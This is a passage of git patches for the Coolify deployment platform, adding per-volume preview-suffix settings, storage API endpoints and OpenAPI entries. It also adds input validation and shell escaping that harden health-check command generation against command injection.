Update diff --git a/tests/Unit/PreviewDeploymentBindMountTest.php b/tests/Unit/PreviewDeploymentBindMountTest.php index acc560e68..367770b08 100644 --- a/tests/Unit/PreviewDeploymentBindMountTest.php +++ b/tests/Unit/PreviewDeploymentBindMountTest.php @@ -3,12 +3,13 @@ /** * Tests for GitHub issue #7802: volume mappings from repo content in Preview Deployments. * - * Bind mount volumes (e.g., ./scripts:/scripts:ro) should NOT get a -pr-N suffix - * during preview deployments, because the repo files exist at the original path. - * Only named Docker volumes need the suffix for isolation between PRs. + * Bind mount volumes use a per-volume `is_preview_suffix_enabled` setting to control + * whether the -pr-N suffix is applied during preview deployments. + * When enabled (default), the suffix is applied for data isolation. + * When disabled, the volume path is shared with the main deployment. + * Named Docker volumes also respect this setting. */ -it('does not apply preview deployment suffix to bind mount source paths', function () { - // Read the applicationParser volume handling in parsers.php +it('uses is_preview_suffix_enabled setting for bind mount suffix in preview deployments', function () { $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); // Find the bind mount handling block (type === 'bind') @@ -16,12 +17,14 @@ $volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')"); $bindBlock = substr($parsersFile, $bindBlockStart, $volumeBlockStart - $bindBlockStart); - // Bind mount paths should NOT be suffixed with -pr-N - expect($bindBlock)->not->toContain('addPreviewDeploymentSuffix'); + // Bind mount block should check is_preview_suffix_enabled before applying suffix + expect($bindBlock) + ->toContain('$isPreviewSuffixEnabled') + ->toContain('is_preview_suffix_enabled') + ->toContain('addPreviewDeploymentSuffix'); }); it('still applies preview deployment suffix to named volume paths', function () { - // Read the applicationParser volume handling in parsers.php $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); // Find the named volume handling block (type === 'volume') @@ -39,3 +42,68 @@ $result = addPreviewDeploymentSuffix('myvolume', 0); expect($result)->toBe('myvolume'); }); + +/** + * Tests for GitHub issue #7343: $uuid mutation in label generation leaks into + * subsequent services' volume paths during preview deployments. + * + * The label generation block must use a local variable ($labelUuid) instead of + * mutating the shared $uuid variable, which is used for volume base paths. + */ +it('does not mutate shared uuid variable during label generation', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + // Find the FQDN label generation block + $labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly = $resource->destination->server->settings->generate_exact_labels;'); + $labelBlock = substr($parsersFile, $labelBlockStart, 300); + + // Should use $labelUuid, not mutate $uuid + expect($labelBlock) + ->toContain('$labelUuid = $resource->uuid') + ->not->toContain('$uuid = $resource->uuid') + ->not->toContain("\$uuid = \"{$resource->uuid}"); +}); + +it('uses labelUuid in all proxy label generation calls', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + // Find the FQDN label generation block (from shouldGenerateLabelsExactly to the closing brace) + $labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly'); + $labelBlockEnd = strpos($parsersFile, "data_forget(\$service, 'volumes.*.content')"); + $labelBlock = substr($parsersFile, $labelBlockStart, $labelBlockEnd - $labelBlockStart); + + // All uuid references in label functions should use $labelUuid + expect($labelBlock) + ->toContain('uuid: $labelUuid') + ->not->toContain('uuid: $uuid'); +}); + +it('checks is_preview_suffix_enabled in deployment job for persistent volumes', function () { + $deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php'); + + // Find the generate_local_persistent_volumes method + $methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes()'); + $methodEnd = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()'); + $methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart); + + // Should check is_preview_suffix_enabled before applying suffix + expect($methodBlock) + ->toContain('is_preview_suffix_enabled') + ->toContain('$isPreviewSuffixEnabled') + ->toContain('addPreviewDeploymentSuffix'); +}); + +it('checks is_preview_suffix_enabled in deployment job for volume names', function () { + $deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php'); + + // Find the generate_local_persistent_volumes_only_volume_names method + $methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()'); + $methodEnd = strpos($deploymentJobFile, 'function generate_healthcheck_commands()'); + $methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart); + + // Should check is_preview_suffix_enabled before applying suffix + expect($methodBlock) + ->toContain('is_preview_suffix_enabled') + ->toContain('$isPreviewSuffixEnabled') + ->toContain('addPreviewDeploymentSuffix'); +}); From c9861e08e359566ef8f97862b65f8d9d8ec77a78 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 15:13:36 +0100 Subject: [PATCH 08/49] fix(preview): sync isPreviewSuffixEnabled property on file storage save --- app/Livewire/Project/Service/FileStorage.php | 1 + 1 file changed, 1 insertion(+) diff --git a/app/Livewire/Project/Service/FileStorage.php b/app/Livewire/Project/Service/FileStorage.php index 33b32989a..71da07eb0 100644 --- a/app/Livewire/Project/Service/FileStorage.php +++ b/app/Livewire/Project/Service/FileStorage.php @@ -181,6 +181,7 @@ public function submit() // Sync component properties to model $this->fileStorage->content = $this->content; $this->fileStorage->is_based_on_git = $this->isBasedOnGit; + $this->fileStorage->is_preview_suffix_enabled = $this->isPreviewSuffixEnabled; $this->fileStorage->save(); $this->fileStorage->saveStorageOnServer(); $this->dispatch('success', 'File updated.'); From 0488a188a0ce6af0a82e933b78c74b08b2254e46 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 15:34:27 +0100 Subject: [PATCH 09/49] feat(api): add storages endpoints for applications Add GET and PATCH /applications/{uuid}/storages routes to list and update persistent and file storages for an application, including support for toggling is_preview_suffix_enabled. --- .../Api/ApplicationsController.php | 187 ++++++++++++++++++ openapi.json | 111 +++++++++++ openapi.yaml | 74 +++++++ routes/api.php | 2 + 4 files changed, 374 insertions(+) diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 4b0cfc6ab..a6609eb47 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -3919,4 +3919,191 @@ private function validateDataApplications(Request $request, Server $server) } } } + + #[OA\Get( + summary: 'List Storages', + description: 'List all persistent storages and file storages by application UUID.', + path: '/applications/{uuid}/storages', + operationId: 'list-storages-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Applications'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'All storages by application UUID.', + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function storages(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + + if (! $application) { + return response()->json([ + 'message' => 'Application not found', + ], 404); + } + + $this->authorize('view', $application); + + $persistentStorages = $application->persistentStorages->sortBy('id')->values(); + $fileStorages = $application->fileStorages->sortBy('id')->values(); + + return response()->json([ + 'persistent_storages' => $persistentStorages, + 'file_storages' => $fileStorages, + ]); + } + + #[OA\Patch( + summary: 'Update Storage', + description: 'Update a persistent storage or file storage by application UUID.', + path: '/applications/{uuid}/storages', + operationId: 'update-storage-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Applications'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Storage updated.', + required: true, + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + required: ['id', 'type'], + properties: [ + 'id' => ['type' => 'integer', 'description' => 'The ID of the storage.'], + 'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage: persistent or file.'], + 'is_preview_suffix_enabled' => ['type' => 'boolean', 'description' => 'Whether to add -pr-N suffix for preview deployments.'], + ], + ), + ), + ], + ), + responses: [ + new OA\Response( + response: 200, + description: 'Storage updated.', + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function update_storage(Request $request) + { + $allowedFields = ['id', 'type', 'is_preview_suffix_enabled']; + $teamId = getTeamIdFromToken(); + + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $return = validateIncomingRequest($request); + if ($return instanceof \Illuminate\Http\JsonResponse) { + return $return; + } + + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + + if (! $application) { + return response()->json([ + 'message' => 'Application not found', + ], 404); + } + + $this->authorize('update', $application); + + $validator = customApiValidator($request->all(), [ + 'id' => 'required|integer', + 'type' => 'required|string|in:persistent,file', + 'is_preview_suffix_enabled' => 'boolean', + ]); + + $extraFields = array_diff(array_keys($request->all()), $allowedFields); + if ($validator->fails() || ! empty($extraFields)) { + $errors = $validator->errors(); + if (! empty($extraFields)) { + foreach ($extraFields as $field) { + $errors->add($field, 'This field is not allowed.'); + } + } + + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $errors, + ], 422); + } + + if ($request->type === 'persistent') { + $storage = $application->persistentStorages->where('id', $request->id)->first(); + } else { + $storage = $application->fileStorages->where('id', $request->id)->first(); + } + + if (! $storage) { + return response()->json([ + 'message' => 'Storage not found.', + ], 404); + } + + if ($request->has('is_preview_suffix_enabled')) { + $storage->is_preview_suffix_enabled = $request->is_preview_suffix_enabled; + } + + $storage->save(); + + return response()->json($storage); + } } diff --git a/openapi.json b/openapi.json index f5d9813b3..13f745e11 100644 --- a/openapi.json +++ b/openapi.json @@ -3442,6 +3442,117 @@ ] } }, + "\/applications\/{uuid}\/storages": { + "get": { + "tags": [ + "Applications" + ], + "summary": "List Storages", + "description": "List all persistent storages and file storages by application UUID.", + "operationId": "list-storages-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "All storages by application UUID." + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "patch": { + "tags": [ + "Applications" + ], + "summary": "Update Storage", + "description": "Update a persistent storage or file storage by application UUID.", + "operationId": "update-storage-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Storage updated.", + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "id", + "type" + ], + "properties": { + "id": { + "type": "integer", + "description": "The ID of the storage." + }, + "type": { + "type": "string", + "enum": [ + "persistent", + "file" + ], + "description": "The type of storage: persistent or file." + }, + "is_preview_suffix_enabled": { + "type": "boolean", + "description": "Whether to add -pr-N suffix for preview deployments." + } + }, + "type": "object" + } + } + } + }, + "responses": { + "200": { + "description": "Storage updated." + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, "\/cloud-tokens": { "get": { "tags": [ diff --git a/openapi.yaml b/openapi.yaml index 81753544f..7ee406c99 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2170,6 +2170,80 @@ paths: security: - bearerAuth: [] + '/applications/{uuid}/storages': + get: + tags: + - Applications + summary: 'List Storages' + description: 'List all persistent storages and file storages by application UUID.' + operationId: list-storages-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + responses: + '200': + description: 'All storages by application UUID.' + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + patch: + tags: + - Applications + summary: 'Update Storage' + description: 'Update a persistent storage or file storage by application UUID.' + operationId: update-storage-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + requestBody: + description: 'Storage updated.' + required: true + content: + application/json: + schema: + required: + - id + - type + properties: + id: + type: integer + description: 'The ID of the storage.' + type: + type: string + enum: [persistent, file] + description: 'The type of storage: persistent or file.' + is_preview_suffix_enabled: + type: boolean + description: 'Whether to add -pr-N suffix for preview deployments.' + type: object + responses: + '200': + description: 'Storage updated.' + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] /cloud-tokens: get: tags: diff --git a/routes/api.php b/routes/api.php index 8b28177f3..b02682a5b 100644 --- a/routes/api.php +++ b/routes/api.php @@ -120,6 +120,8 @@ Route::patch('/applications/{uuid}/envs', [ApplicationsController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']); Route::delete('/applications/{uuid}/envs/{env_uuid}', [ApplicationsController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']); Route::get('/applications/{uuid}/logs', [ApplicationsController::class, 'logs_by_uuid'])->middleware(['api.ability:read']); + Route::get('/applications/{uuid}/storages', [ApplicationsController::class, 'storages'])->middleware(['api.ability:read']); + Route::patch('/applications/{uuid}/storages', [ApplicationsController::class, 'update_storage'])->middleware(['api.ability:write']); Route::match(['get', 'post'], '/applications/{uuid}/start', [ApplicationsController::class, 'action_deploy'])->middleware(['api.ability:deploy']); Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:deploy']); From 9d745fca75098d76f2ab69ef8049a8d476fe9fc0 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 15:37:46 +0100 Subject: [PATCH 10/49] feat(api): expand update_storage to support name, mount_path, host_path, content fields Add support for updating additional storage fields via the API while enforcing read-only restrictions for storages managed by docker-compose or service definitions (only is_preview_suffix_enabled remains editable for those). --- .../Api/ApplicationsController.php | 48 +++++++++++++++++-- openapi.json | 20 +++++++- openapi.yaml | 16 ++++++- 3 files changed, 79 insertions(+), 5 deletions(-) diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index a6609eb47..6521ef7ba 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -4005,7 +4005,7 @@ public function storages(Request $request) ), ], requestBody: new OA\RequestBody( - description: 'Storage updated.', + description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.', required: true, content: [ new OA\MediaType( @@ -4017,6 +4017,10 @@ public function storages(Request $request) 'id' => ['type' => 'integer', 'description' => 'The ID of the storage.'], 'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage: persistent or file.'], 'is_preview_suffix_enabled' => ['type' => 'boolean', 'description' => 'Whether to add -pr-N suffix for preview deployments.'], + 'name' => ['type' => 'string', 'description' => 'The volume name (persistent only, not allowed for read-only storages).'], + 'mount_path' => ['type' => 'string', 'description' => 'The container mount path (not allowed for read-only storages).'], + 'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, not allowed for read-only storages).'], + 'content' => ['type' => 'string', 'nullable' => true, 'description' => 'The file content (file only, not allowed for read-only storages).'], ], ), ), @@ -4043,7 +4047,6 @@ public function storages(Request $request) )] public function update_storage(Request $request) { - $allowedFields = ['id', 'type', 'is_preview_suffix_enabled']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -4069,9 +4072,14 @@ public function update_storage(Request $request) 'id' => 'required|integer', 'type' => 'required|string|in:persistent,file', 'is_preview_suffix_enabled' => 'boolean', + 'name' => 'string', + 'mount_path' => 'string', + 'host_path' => 'string|nullable', + 'content' => 'string|nullable', ]); - $extraFields = array_diff(array_keys($request->all()), $allowedFields); + $allAllowedFields = ['id', 'type', 'is_preview_suffix_enabled', 'name', 'mount_path', 'host_path', 'content']; + $extraFields = array_diff(array_keys($request->all()), $allAllowedFields); if ($validator->fails() || ! empty($extraFields)) { $errors = $validator->errors(); if (! empty($extraFields)) { @@ -4098,10 +4106,44 @@ public function update_storage(Request $request) ], 404); } + $isReadOnly = $storage->shouldBeReadOnlyInUI(); + $editableOnlyFields = ['name', 'mount_path', 'host_path', 'content']; + $requestedEditableFields = array_intersect($editableOnlyFields, array_keys($request->all())); + + if ($isReadOnly && ! empty($requestedEditableFields)) { + return response()->json([ + 'message' => 'This storage is read-only (managed by docker-compose or service definition). Only is_preview_suffix_enabled can be updated.', + 'read_only_fields' => array_values($requestedEditableFields), + ], 422); + } + + // Always allowed if ($request->has('is_preview_suffix_enabled')) { $storage->is_preview_suffix_enabled = $request->is_preview_suffix_enabled; } + // Only for editable storages + if (! $isReadOnly) { + if ($request->type === 'persistent') { + if ($request->has('name')) { + $storage->name = $request->name; + } + if ($request->has('mount_path')) { + $storage->mount_path = $request->mount_path; + } + if ($request->has('host_path')) { + $storage->host_path = $request->host_path; + } + } else { + if ($request->has('mount_path')) { + $storage->mount_path = $request->mount_path; + } + if ($request->has('content')) { + $storage->content = $request->content; + } + } + } + $storage->save(); return response()->json($storage); diff --git a/openapi.json b/openapi.json index 13f745e11..d1dadcaf0 100644 --- a/openapi.json +++ b/openapi.json @@ -3500,7 +3500,7 @@ } ], "requestBody": { - "description": "Storage updated.", + "description": "Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.", "required": true, "content": { "application\/json": { @@ -3525,6 +3525,24 @@ "is_preview_suffix_enabled": { "type": "boolean", "description": "Whether to add -pr-N suffix for preview deployments." + }, + "name": { + "type": "string", + "description": "The volume name (persistent only, not allowed for read-only storages)." + }, + "mount_path": { + "type": "string", + "description": "The container mount path (not allowed for read-only storages)." + }, + "host_path": { + "type": "string", + "nullable": true, + "description": "The host path (persistent only, not allowed for read-only storages)." + }, + "content": { + "type": "string", + "nullable": true, + "description": "The file content (file only, not allowed for read-only storages)." } }, "type": "object" diff --git a/openapi.yaml b/openapi.yaml index 7ee406c99..74af3aa13 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2212,7 +2212,7 @@ paths: schema: type: string requestBody: - description: 'Storage updated.' + description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.' required: true content: application/json: @@ -2231,6 +2231,20 @@ paths: is_preview_suffix_enabled: type: boolean description: 'Whether to add -pr-N suffix for preview deployments.' + name: + type: string + description: 'The volume name (persistent only, not allowed for read-only storages).' + mount_path: + type: string + description: 'The container mount path (not allowed for read-only storages).' + host_path: + type: string + nullable: true + description: 'The host path (persistent only, not allowed for read-only storages).' + content: + type: string + nullable: true + description: 'The file content (file only, not allowed for read-only storages).' type: object responses: '200': From 0ffcee7a4dcd24f92b5fab8c9c7be140b9532733 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 16:40:16 +0100 Subject: [PATCH 11/49] Squashed commit from '4fhp-investigate-os-command-injection' --- app/Jobs/ApplicationDeploymentJob.php | 18 +++-- templates/service-templates-latest.json | 36 ++++++++- templates/service-templates.json | 36 ++++++++- .../Unit/HealthCheckCommandInjectionTest.php | 76 ++++++++++++++++++- 4 files changed, 149 insertions(+), 17 deletions(-) diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index f84cdceb9..cbec016e9 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -2781,9 +2781,15 @@ private function generate_healthcheck_commands() // Handle CMD type healthcheck if ($this->application->health_check_type === 'cmd' && ! empty($this->application->health_check_command)) { $command = str_replace(["\r\n", "\r", "\n"], ' ', $this->application->health_check_command); - $this->full_healthcheck_url = $command; - return $command; + // Defense in depth: validate command at runtime (matches input validation regex) + if (! preg_match('/^[a-zA-Z0-9 \-_.\/:=@,+]+$/', $command) || strlen($command) > 1000) { + $this->application_deployment_queue->addLogEntry('Warning: Health check command contains invalid characters or exceeds max length. Falling back to HTTP healthcheck.'); + } else { + $this->full_healthcheck_url = $command; + + return $command; + } } // HTTP type healthcheck (default) @@ -2804,16 +2810,16 @@ private function generate_healthcheck_commands() : null; $url = escapeshellarg("{$scheme}://{$host}:{$health_check_port}".($path ?? '/')); - $method = escapeshellarg($method); + $escapedMethod = escapeshellarg($method); if ($path) { - $this->full_healthcheck_url = "{$this->application->health_check_method}: {$scheme}://{$host}:{$health_check_port}{$path}"; + $this->full_healthcheck_url = "{$method}: {$scheme}://{$host}:{$health_check_port}{$path}"; } else { - $this->full_healthcheck_url = "{$this->application->health_check_method}: {$scheme}://{$host}:{$health_check_port}/"; + $this->full_healthcheck_url = "{$method}: {$scheme}://{$host}:{$health_check_port}/"; } $generated_healthchecks_commands = [ - "curl -s -X {$method} -f {$url} > /dev/null || wget -q -O- {$url} > /dev/null || exit 1", + "curl -s -X {$escapedMethod} -f {$url} > /dev/null || wget -q -O- {$url} > /dev/null || exit 1", ]; return implode(' ', $generated_healthchecks_commands); diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index bc05073d1..f22a2ab53 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -818,7 +818,7 @@ "databasus": { "documentation": "https://databasus.com/installation?utm_source=coolify.io", "slogan": "Databasus is a free, open source and self-hosted tool to backup PostgreSQL, MySQL, and MongoDB.", - "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYyLjE4LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9EQVRBQkFTVVNfNDAwNQogICAgdm9sdW1lczoKICAgICAgLSAnZGF0YWJhc3VzLWRhdGE6L2RhdGFiYXN1cy1kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6NDAwNS9hcGkvdjEvc3lzdGVtL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiA1Cg==", + "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYzLjE2LjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9EQVRBQkFTVVNfNDAwNQogICAgdm9sdW1lczoKICAgICAgLSAnZGF0YWJhc3VzLWRhdGE6L2RhdGFiYXN1cy1kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6NDAwNS9hcGkvdjEvc3lzdGVtL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiA1Cg==", "tags": [ "postgres", "mysql", @@ -1951,7 +1951,7 @@ "heyform": { "documentation": "https://docs.heyform.net/open-source/self-hosting?utm_source=coolify.io", "slogan": "Allows anyone to create engaging conversational forms for surveys, questionnaires, quizzes, and polls. No coding skills required.", - "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSEVZRk9STV84MDAwCiAgICAgIC0gJ0FQUF9IT01FUEFHRV9VUkw9JHtTRVJWSUNFX1VSTF9IRVlGT1JNfScKICAgICAgLSAnU0VTU0lPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF82NF9TRVNTSU9OfScKICAgICAgLSAnRk9STV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X0ZPUk19JwogICAgICAtICdNT05HT19VUkk9bW9uZ29kYjovL21vbmdvOjI3MDE3L2hleWZvcm0nCiAgICAgIC0gUkVESVNfSE9TVD1rZXlkYgogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfS0VZREJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo4MDAwIHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBtb25nbzoKICAgIGltYWdlOiAncGVyY29uYS9wZXJjb25hLXNlcnZlci1tb25nb2RiOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0tbW9uZ28tZGF0YTovZGF0YS9kYicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiZWNobyAnb2snID4gL2Rldi9udWxsIDI+JjEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCiAga2V5ZGI6CiAgICBpbWFnZTogJ2VxYWxwaGEva2V5ZGI6bGF0ZXN0JwogICAgY29tbWFuZDogJ2tleWRiLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0tFWURCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWtleWRiLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0ga2V5ZGItY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", + "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSEVZRk9STV85MTU3CiAgICAgIC0gJ0FQUF9IT01FUEFHRV9VUkw9JHtTRVJWSUNFX1VSTF9IRVlGT1JNfScKICAgICAgLSAnU0VTU0lPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF82NF9TRVNTSU9OfScKICAgICAgLSAnRk9STV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X0ZPUk19JwogICAgICAtICdNT05HT19VUkk9bW9uZ29kYjovL21vbmdvOjI3MDE3L2hleWZvcm0nCiAgICAgIC0gUkVESVNfSE9TVD1rZXlkYgogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfS0VZREJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo5MTU3IHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBtb25nbzoKICAgIGltYWdlOiAncGVyY29uYS9wZXJjb25hLXNlcnZlci1tb25nb2RiOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0tbW9u